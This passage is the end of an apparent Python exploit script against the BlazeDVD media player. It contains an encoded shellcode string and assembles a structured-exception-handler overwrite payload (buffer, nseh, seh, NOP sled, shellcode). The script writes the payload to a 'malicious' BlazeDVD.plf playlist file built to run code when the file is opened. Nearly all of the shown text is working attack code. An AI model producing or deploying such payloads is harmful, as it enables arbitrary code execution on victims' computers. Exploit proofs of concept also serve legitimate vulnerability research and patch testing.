"\x30\x62\x48\x75\x61\x4c\x4b\x62\x4f\x4f\x77\x79\x6f\x49" 
"\x45\x6f\x4b\x5a\x50\x6c\x75\x4d\x72\x36\x36\x42\x48\x59" 
"\x36\x4a\x35\x4d\x6d\x6d\x4d\x49\x6f\x49\x45\x45\x6c\x45" 
"\x56\x43\x4c\x76\x6a\x4f\x70\x39\x6b\x4b\x50\x42\x55\x36" 
"\x65\x4d\x6b\x51\x57\x44\x53\x62\x52\x50\x6f\x62\x4a\x77" 
"\x70\x56\x33\x6b\x4f\x4a\x75\x35\x33\x35\x31\x72\x4c\x33" 
"\x53\x74\x6e\x32\x45\x43\x48\x75\x35\x37\x70\x41\x41")

poc = buffer + nseh + seh + nops + shell
try:
  out_file = open("BlazeDVD.plf",'w')
  out_file.write(poc)
  out_file.close()
  print("[*] Malicious plf file created successfully")
except:
  print "[!] Error creating file"